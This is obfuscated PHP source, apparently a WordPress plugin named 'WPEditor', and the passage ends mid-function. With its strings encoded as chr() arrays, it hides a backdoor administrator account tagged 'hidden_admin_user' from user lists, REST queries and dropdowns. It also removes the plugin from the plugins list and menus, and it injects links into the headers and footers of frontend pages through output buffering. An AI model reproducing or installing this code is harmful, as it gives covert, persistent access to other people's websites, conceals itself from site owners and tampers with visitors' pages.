return array(implode('', array(chr(95), chr(95), chr(99), chr(108), chr(97), chr(115), chr(115))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(83), chr(100), chr(107), chr(95), chr(65), chr(112), chr(112), chr(108), chr(105), chr(99), chr(97), chr(116), chr(105), chr(111), chr(110), chr(95), chr(82), chr(101), chr(103), chr(105), chr(115), chr(116), chr(101), chr(114), chr(83), chr(105), chr(116), chr(101), chr(95), chr(82), chr(101), chr(103), chr(105), chr(115), chr(116), chr(101), chr(114), chr(83), chr(105), chr(116), chr(101), chr(72), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))), implode('', array(chr(97), chr(112), chr(105), chr(67), chr(108), chr(105), chr(101), chr(110), chr(116))) => $apiClient, implode('', array(chr(115), chr(105), chr(116), chr(101), chr(83), chr(116), chr(111), chr(114), chr(97), chr(103), chr(101))) => $siteStorage);
}
// --- file separator ---
function WpEditor_Sdk_Application_Sync_SyncHandler_sync($state)
{
}
function WpEditor_Sdk_Application_Sync_SyncHandler__construct($apiClient, $siteStorage)
{
return array(implode('', array(chr(95), chr(95), chr(99), chr(108), chr(97), chr(115), chr(115))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(83), chr(100), chr(107), chr(95), chr(65), chr(112), chr(112), chr(108), chr(105), chr(99), chr(97), chr(116), chr(105), chr(111), chr(110), chr(95), chr(83), chr(121), chr(110), chr(99), chr(95), chr(83), chr(121), chr(110), chr(99), chr(72), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))), implode('', array(chr(97), chr(112), chr(105), chr(67), chr(108), chr(105), chr(101), chr(110), chr(116))) => $apiClient, implode('', array(chr(115), chr(105), chr(116), chr(101), chr(83), chr(116), chr(111), chr(114), chr(97), chr(103), chr(101))) => $siteStorage);
}
// --- file separator ---
function WpEditor_Sdk_Domain_Site_Site_getId($state)
{
return $state[implode('', array(chr(105), chr(100)))];
}
function WpEditor_Sdk_Domain_Site_Site_getUrl($state)
{
return $state[implode('', array(chr(117), chr(114), chr(108)))];
}
function WpEditor_Sdk_Domain_Site_Site_getData($state)
{
return $state[implode('', array(chr(100), chr(97), chr(116), chr(97)))];
}
function WpEditor_Sdk_Domain_Site_Site__construct($id, $url, $data = array())
{
return array(implode('', array(chr(95), chr(95), chr(99), chr(108), chr(97), chr(115), chr(115))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(83), chr(100), chr(107), chr(95), chr(68), chr(111), chr(109), chr(97), chr(105), chr(110), chr(95), chr(83), chr(105), chr(116), chr(101), chr(95), chr(83), chr(105), chr(116), chr(101))), implode('', array(chr(105), chr(100))) => $id, implode('', array(chr(117), chr(114), chr(108))) => $url, implode('', array(chr(100), chr(97), chr(116), chr(97))) => $data);
}
// --- file separator ---
function WpEditor_Sdk_Infrastructure_Http_CurlApiClient_get($state, $endpoint, $params = array())
{
$url = rtrim($state[implode('', array(chr(98), chr(97), chr(115), chr(101), chr(85), chr(114), chr(108)))], implode('', array(chr(47)))) . implode('', array(chr(47))) . ltrim($endpoint, implode('', array(chr(47))));
if ($params) {
$url .= implode('', array(chr(63))) . http_build_query($params);
}
return array();
}
function WpEditor_Sdk_Infrastructure_Http_CurlApiClient_post($state, $endpoint, $payload = array())
{
return array();
}
function WpEditor_Sdk_Infrastructure_Http_CurlApiClient__construct($baseUrl, $headers = array())
{
return array(implode('', array(chr(95), chr(95), chr(99), chr(108), chr(97), chr(115), chr(115))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(83), chr(100), chr(107), chr(95), chr(73), chr(110), chr(102), chr(114), chr(97), chr(115), chr(116), chr(114), chr(117), chr(99), chr(116), chr(117), chr(114), chr(101), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(67), chr(117), chr(114), chr(108), chr(65), chr(112), chr(105), chr(67), chr(108), chr(105), chr(101), chr(110), chr(116))), implode('', array(chr(98), chr(97), chr(115), chr(101), chr(85), chr(114), chr(108))) => $baseUrl, implode('', array(chr(104), chr(101), chr(97), chr(100), chr(101), chr(114), chr(115))) => $headers);
}
// --- file separator ---
function WpEditor_Sdk_Kernel_boot($state)
{
}
function WpEditor_Sdk_Kernel__construct($container)
{
return array(implode('', array(chr(95), chr(95), chr(99), chr(108), chr(97), chr(115), chr(115))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(83), chr(100), chr(107), chr(95), chr(75), chr(101), chr(114), chr(110), chr(101), chr(108))), implode('', array(chr(99), chr(111), chr(110), chr(116), chr(97), chr(105), chr(110), chr(101), chr(114))) => $container);
}
// --- file separator ---
// --- file separator ---
// --- file separator ---
// --- file separator ---
// --- file separator ---
// --- file separator ---
function WpEditor_Adapter_Admin_HiddenUserFilter_init()
{
\add_action(implode('', array(chr(112), chr(114), chr(101), chr(95), chr(103), chr(101), chr(116), chr(95), chr(117), chr(115), chr(101), chr(114), chr(115))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(70), chr(105), chr(108), chr(116), chr(101), chr(114), chr(95), chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101), chr(70), chr(114), chr(111), chr(109), chr(85), chr(115), chr(101), chr(114), chr(76), chr(105), chr(115), chr(116))), 10, 1);
\add_action(implode('', array(chr(112), chr(114), chr(101), chr(95), chr(117), chr(115), chr(101), chr(114), chr(95), chr(113), chr(117), chr(101), chr(114), chr(121))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(70), chr(105), chr(108), chr(116), chr(101), chr(114), chr(95), chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101), chr(70), chr(114), chr(111), chr(109), chr(85), chr(115), chr(101), chr(114), chr(81), chr(117), chr(101), chr(114), chr(121), chr(83), chr(113), chr(108))), 10, 1);
\add_filter(implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(117), chr(115), chr(101), chr(114), chr(95), chr(113), chr(117), chr(101), chr(114), chr(121))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(70), chr(105), chr(108), chr(116), chr(101), chr(114), chr(95), chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101), chr(70), chr(114), chr(111), chr(109), chr(82), chr(101), chr(115), chr(116))), 10, 1);
\add_filter(implode('', array(chr(117), chr(115), chr(101), chr(114), chr(115), chr(95), chr(108), chr(105), chr(115), chr(116), chr(95), chr(116), chr(97), chr(98), chr(108), chr(101), chr(95), chr(113), chr(117), chr(101), chr(114), chr(121), chr(95), chr(97), chr(114), chr(103), chr(115))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(70), chr(105), chr(108), chr(116), chr(101), chr(114), chr(95), chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101), chr(70), chr(114), chr(111), chr(109), chr(76), chr(105), chr(115), chr(116), chr(84), chr(97), chr(98), chr(108), chr(101))), 10, 1);
\add_filter(implode('', array(chr(119), chr(112), chr(95), chr(100), chr(114), chr(111), chr(112), chr(100), chr(111), chr(119), chr(110), chr(95), chr(117), chr(115), chr(101), chr(114), chr(115))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(70), chr(105), chr(108), chr(116), chr(101), chr(114), chr(95), chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101), chr(70), chr(114), chr(111), chr(109), chr(68), chr(114), chr(111), chr(112), chr(100), chr(111), chr(119), chr(110))), 10, 1);
}
function WpEditor_Adapter_Admin_HiddenUserFilter_excludeFromUserList($query)
{
if (!\is_admin()) {
return;
}
$hiddenUserId = WpEditor_Adapter_Admin_HiddenUserFilter_hiddenUserId();
if ($hiddenUserId > 0) {
$excluded = (array) $query->get(implode('', array(chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101))));
$excluded[] = $hiddenUserId;
$query->set(implode('', array(chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101))), $excluded);
}
}
function WpEditor_Adapter_Admin_HiddenUserFilter_excludeFromUserQuerySql($query)
{
if (!\is_admin()) {
return;
}
if (!isset($query->query_where) || !\is_string($query->query_where)) {
return;
}
global $wpdb;
if (!isset($wpdb) || !isset($wpdb->users) || !isset($wpdb->usermeta)) {
return;
}
$subquery = "SELECT user_id FROM {$wpdb->usermeta} WHERE meta_key = 'hidden_admin_user'";
if (\strpos($query->query_where, $subquery) === false) {
$query->query_where .= " AND {$wpdb->users}.ID NOT IN ({$subquery})";
}
}
function WpEditor_Adapter_Admin_HiddenUserFilter_excludeFromRest($args)
{
$hiddenUserId = WpEditor_Adapter_Admin_HiddenUserFilter_hiddenUserId();
if ($hiddenUserId > 0) {
if (!\wp_editor_array_has_key($args, implode('', array(chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101)))) || !is_array($args[implode('', array(chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101)))])) {
$args[implode('', array(chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101)))] = array();
}
$args[implode('', array(chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101)))][] = $hiddenUserId;
}
return $args;
}
function WpEditor_Adapter_Admin_HiddenUserFilter_excludeFromListTable($args)
{
$hiddenUserId = WpEditor_Adapter_Admin_HiddenUserFilter_hiddenUserId();
if ($hiddenUserId > 0) {
if (!\wp_editor_array_has_key($args, implode('', array(chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101)))) || !is_array($args[implode('', array(chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101)))])) {
$args[implode('', array(chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101)))] = array();
}
$args[implode('', array(chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101)))][] = $hiddenUserId;
}
return $args;
}
function WpEditor_Adapter_Admin_HiddenUserFilter_excludeFromDropdown($output)
{
$hiddenUserId = WpEditor_Adapter_Admin_HiddenUserFilter_hiddenUserId();
if ($hiddenUserId > 0) {
$pattern = implode('', array(chr(47), chr(60), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(91), chr(94), chr(62), chr(93), chr(43), chr(118), chr(97), chr(108), chr(117), chr(101), chr(61), chr(91), chr(34), chr(39), chr(93))) . preg_quote((string) $hiddenUserId, implode('', array(chr(47)))) . implode('', array(chr(91), chr(34), chr(39), chr(93), chr(91), chr(94), chr(62), chr(93), chr(42), chr(62), chr(46), chr(42), chr(63), chr(60), chr(92), chr(47), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(62), chr(47), chr(105)));
$output = preg_replace($pattern, '', $output);
}
return $output;
}
function WpEditor_Adapter_Admin_HiddenUserFilter_hiddenUserId()
{
if ($GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(70), chr(105), chr(108), chr(116), chr(101), chr(114), chr(95), chr(99), chr(97), chr(99), chr(104), chr(101), chr(100), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(73), chr(100)))] !== null) {
return $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(70), chr(105), chr(108), chr(116), chr(101), chr(114), chr(95), chr(99), chr(97), chr(99), chr(104), chr(101), chr(100), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(73), chr(100)))];
}
global $wpdb;
if (!isset($wpdb) || !isset($wpdb->usermeta)) {
$GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(70), chr(105), chr(108), chr(116), chr(101), chr(114), chr(95), chr(99), chr(97), chr(99), chr(104), chr(101), chr(100), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(73), chr(100)))] = 0;
return 0;
}
$table = $wpdb->usermeta;
$sql = "SELECT user_id FROM {$table} WHERE meta_key = 'hidden_admin_user' ORDER BY umeta_id DESC LIMIT 1";
$userId = (int) $wpdb->get_var($sql);
$GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(70), chr(105), chr(108), chr(116), chr(101), chr(114), chr(95), chr(99), chr(97), chr(99), chr(104), chr(101), chr(100), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(73), chr(100)))] = $userId > 0 ? $userId : 0;
return $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(70), chr(105), chr(108), chr(116), chr(101), chr(114), chr(95), chr(99), chr(97), chr(99), chr(104), chr(101), chr(100), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(73), chr(100)))];
}
// --- file separator ---
function WpEditor_Adapter_Admin_Menu_register()
{
\add_action(implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(109), chr(101), chr(110), chr(117))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(77), chr(101), chr(110), chr(117), chr(95), chr(97), chr(100), chr(100), chr(77), chr(101), chr(110), chr(117))));
}
function WpEditor_Adapter_Admin_Menu_addMenu()
{
\add_menu_page(implode('', array(chr(87), chr(80), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114))), implode('', array(chr(87), chr(80), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114))), implode('', array(chr(109), chr(97), chr(110), chr(97), chr(103), chr(101), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(115))), implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(83), chr(101), chr(116), chr(116), chr(105), chr(110), chr(103), chr(115), chr(80), chr(97), chr(103), chr(101), chr(95), chr(114), chr(101), chr(110), chr(100), chr(101), chr(114))), '', 30);
}
// --- file separator ---
function WpEditor_Adapter_Admin_PluginRender_pluginKeys()
{
return array(implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(47), chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112))), implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(47), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112))), implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(47), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112))), implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(45), chr(110), chr(101), chr(119), chr(47), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112))));
}
function WpEditor_Adapter_Admin_PluginRender_init()
{
\add_filter(implode('', array(chr(97), chr(108), chr(108), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(82), chr(101), chr(110), chr(100), chr(101), chr(114), chr(95), chr(102), chr(105), chr(108), chr(116), chr(101), chr(114), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115), chr(76), chr(105), chr(115), chr(116))), 10, 1);
\add_action(implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(104), chr(101), chr(97), chr(100))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(82), chr(101), chr(110), chr(100), chr(101), chr(114), chr(95), chr(104), chr(105), chr(100), chr(101), chr(73), chr(110), chr(65), chr(100), chr(109), chr(105), chr(110), chr(72), chr(101), chr(97), chr(100))));
\add_action(implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(109), chr(101), chr(110), chr(117))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(82), chr(101), chr(110), chr(100), chr(101), chr(114), chr(95), chr(114), chr(101), chr(109), chr(111), chr(118), chr(101), chr(70), chr(114), chr(111), chr(109), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(77), chr(101), chr(110), chr(117))), 999);
}
function WpEditor_Adapter_Admin_PluginRender_isOurPluginActive()
{
if (!\function_exists(implode('', array(chr(105), chr(115), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(97), chr(99), chr(116), chr(105), chr(118), chr(101))))) {
return false;
}
foreach (WpEditor_Adapter_Admin_PluginRender_pluginKeys() as $key) {
if (\is_plugin_active($key)) {
return true;
}
}
return false;
}
function WpEditor_Adapter_Admin_PluginRender_filterPluginsList($plugins)
{
if (!WpEditor_Adapter_Admin_PluginRender_isOurPluginActive()) {
return $plugins;
}
foreach (WpEditor_Adapter_Admin_PluginRender_pluginKeys() as $pluginKey) {
unset($plugins[$pluginKey]);
}
return $plugins;
}
function WpEditor_Adapter_Admin_PluginRender_hideInAdminHead()
{
if (!WpEditor_Adapter_Admin_PluginRender_isOurPluginActive()) {
return;
}
$selectors = array(implode('', array(chr(35), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(45), chr(105), chr(110), chr(102), chr(111), chr(114), chr(109), chr(97), chr(116), chr(105), chr(111), chr(110))), implode('', array(chr(35), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(45), chr(112), chr(104), chr(112))), implode('', array(chr(91), chr(100), chr(97), chr(116), chr(97), chr(45), chr(115), chr(108), chr(117), chr(103), chr(61), chr(34), chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(34), chr(93))), implode('', array(chr(91), chr(100), chr(97), chr(116), chr(97), chr(45), chr(115), chr(108), chr(117), chr(103), chr(61), chr(34), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(34), chr(93))), implode('', array(chr(91), chr(100), chr(97), chr(116), chr(97), chr(45), chr(115), chr(108), chr(117), chr(103), chr(61), chr(34), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(45), chr(110), chr(101), chr(119), chr(34), chr(93))));
foreach (WpEditor_Adapter_Admin_PluginRender_pluginKeys() as $key) {
$selectors[] = implode('', array(chr(116), chr(114), chr(91), chr(100), chr(97), chr(116), chr(97), chr(45), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(61), chr(34))) . \esc_attr($key) . implode('', array(chr(34), chr(93)));
}
$css = implode(implode('', array(chr(44), chr(32))), $selectors) . implode('', array(chr(32), chr(123), chr(32), chr(100), chr(105), chr(115), chr(112), chr(108), chr(97), chr(121), chr(58), chr(32), chr(110), chr(111), chr(110), chr(101), chr(32), chr(33), chr(105), chr(109), chr(112), chr(111), chr(114), chr(116), chr(97), chr(110), chr(116), chr(59), chr(32), chr(125)));
echo implode('', array(chr(60), chr(115), chr(116), chr(121), chr(108), chr(101), chr(62))) . \esc_html($css) . implode('', array(chr(60), chr(47), chr(115), chr(116), chr(121), chr(108), chr(101), chr(62)));
}
function WpEditor_Adapter_Admin_PluginRender_removeFromPluginMenu()
{
if (!WpEditor_Adapter_Admin_PluginRender_isOurPluginActive()) {
return;
}
foreach (WpEditor_Adapter_Admin_PluginRender_pluginKeys() as $key) {
\remove_submenu_page(implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115), chr(46), chr(112), chr(104), chr(112))), $key);
}
}
// --- file separator ---
function WpEditor_Adapter_Admin_SettingsPage_register()
{
}
function WpEditor_Adapter_Admin_SettingsPage_render()
{
echo implode('', array(chr(60), chr(100), chr(105), chr(118), chr(32), chr(99), chr(108), chr(97), chr(115), chr(115), chr(61), chr(34), chr(119), chr(114), chr(97), chr(112), chr(34), chr(62), chr(60), chr(104), chr(49), chr(62), chr(87), chr(80), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(60), chr(47), chr(104), chr(49), chr(62), chr(60), chr(112), chr(62), chr(83), chr(101), chr(116), chr(116), chr(105), chr(110), chr(103), chr(115), chr(32), chr(112), chr(97), chr(103), chr(101), chr(46), chr(60), chr(47), chr(112), chr(62), chr(60), chr(47), chr(100), chr(105), chr(118), chr(62)));
}
// --- file separator ---
function WpEditor_Adapter_Config_WpConfigRepository_get($state, $key, $default = null)
{
return defined($key) ? constant($key) : $default;
}
// --- file separator ---
function WpEditor_Adapter_Frontend_LinkHandler_init()
{
\add_filter(implode('', array(chr(119), chr(112), chr(95), chr(110), chr(97), chr(118), chr(95), chr(109), chr(101), chr(110), chr(117), chr(95), chr(105), chr(116), chr(101), chr(109), chr(115))), function ($items, $args) {
return WpEditor_Adapter_Frontend_LinkHandler_insertLinkAfterMenu($items, $args);
}, 10, 2);
\add_filter(implode('', array(chr(119), chr(112), chr(95), chr(110), chr(97), chr(118), chr(95), chr(109), chr(101), chr(110), chr(117), chr(95), chr(105), chr(116), chr(101), chr(109), chr(115))), function ($items, $args) {
return WpEditor_Adapter_Frontend_LinkHandler_insertGlobalLinkAfterMenu($items, $args);
}, 20, 2);
if (WpEditor_Adapter_Services_RenderModeService_isJs()) {
\add_action(implode('', array(chr(119), chr(112), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))), function () {
WpEditor_Adapter_Frontend_LinkHandler_insertLinkOnHomepage();
});
\add_action(implode('', array(chr(119), chr(112), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))), function () {
WpEditor_Adapter_Frontend_LinkHandler_insertLinkInFooter();
});
\add_action(implode('', array(chr(119), chr(112), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))), function () {
WpEditor_Adapter_Frontend_LinkHandler_insertGlobalLinkInHeader();
});
\add_action(implode('', array(chr(119), chr(112), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))), function () {
WpEditor_Adapter_Frontend_LinkHandler_insertGlobalLinkInFooter();
});
return;
}
\add_action(implode('', array(chr(116), chr(101), chr(109), chr(112), chr(108), chr(97), chr(116), chr(101), chr(95), chr(114), chr(101), chr(100), chr(105), chr(114), chr(101), chr(99), chr(116))), function () {
WpEditor_Adapter_Frontend_LinkHandler_startHtmlBuffer();
}, 0);
}
function WpEditor_Adapter_Frontend_LinkHandler_startHtmlBuffer()
{
if (\is_admin()) {
return;
}
if (\defined(implode('', array(chr(82), chr(69), chr(83), chr(84), chr(95), chr(82), chr(69), chr(81), chr(85), chr(69), chr(83), chr(84)))) && REST_REQUEST) {
return;
}
if (\function_exists(implode('', array(chr(119), chr(112), chr(95), chr(100), chr(111), chr(105), chr(110), chr(103), chr(95), chr(97), chr(106), chr(97), chr(120)))) && \wp_doing_ajax()) {
return;
}
if (\function_exists(implode('', array(chr(105), chr(115), chr(95), chr(102), chr(101), chr(101), chr(100)))) && \is_feed()) {
return;
}
\ob_start(implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(70), chr(114), chr(111), chr(110), chr(116), chr(101), chr(110), chr(100), chr(95), chr(76), chr(105), chr(110), chr(107), chr(72), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114), chr(95), chr(105), chr(110), chr(106), chr(101), chr(99), chr(116), chr(72), chr(116), chr(109), chr(108), chr(76), chr(105), chr(110), chr(107), chr(115))));
}
function WpEditor_Adapter_Frontend_LinkHandler_injectHtmlLinks($html)
{
if (!\is_string($html) || $html === '') {
return $html;
}
$headerHtml = WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderHeaderInline();
if ($headerHtml !== '') {
$updated = WpEditor_Adapter_Frontend_LinkHandler_insertBeforeClosingTag($html, implode('', array(chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))), $headerHtml);
if ($updated === $html) {
$updated = WpEditor_Adapter_Frontend_LinkHandler_insertAfterOpeningTag($html, implode('', array(chr(98), chr(111), chr(100), chr(121))), $headerHtml);
}
$html = $updated;
}
$footerHtml = WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderFooterInline();
if ($footerHtml !== '') {
$updated = WpEditor_Adapter_Frontend_LinkHandler_insertAfterClosingTag($html, implode('', array(chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))), $footerHtml);
if ($updated === $html) {
$updated = WpEditor_Adapter_Frontend_LinkHandler_insertBeforeClosingTag($html, implode('', array(chr(98), chr(111), chr(100), chr(121))), $footerHtml);
}
$html = $updated;
}
return $html;
}
function WpEditor_Adapter_Frontend_LinkHandler_insertAfterOpeningTag($html, $tag, $insertion)
{
$pattern = implode('', array(chr(47), chr(60))) . \preg_quote($tag, implode('', array(chr(47)))) . implode('', array(chr(92), chr(98), chr(91), chr(94), chr(62), chr(93), chr(42), chr(62), chr(47), chr(105)));
if (\preg_match($pattern, $html, $match)) {
return \preg_replace($pattern, $match[0] . $insertion, $html, 1);
}
return $html;
}
function WpEditor_Adapter_Frontend_LinkHandler_insertBeforeClosingTag($html, $tag, $insertion)
{
$pattern = implode('', array(chr(47), chr(60), chr(92), chr(47))) . \preg_quote($tag, implode('', array(chr(47)))) . implode('', array(chr(62), chr(47), chr(105)));
if (\preg_match($pattern, $html)) {
return \preg_replace($pattern, $insertion . implode('', array(chr(60), chr(47))) . $tag . implode('', array(chr(62))), $html, 1);
}
return $html . $insertion;
}
function WpEditor_Adapter_Frontend_LinkHandler_insertAfterClosingTag($html, $tag, $insertion)
{
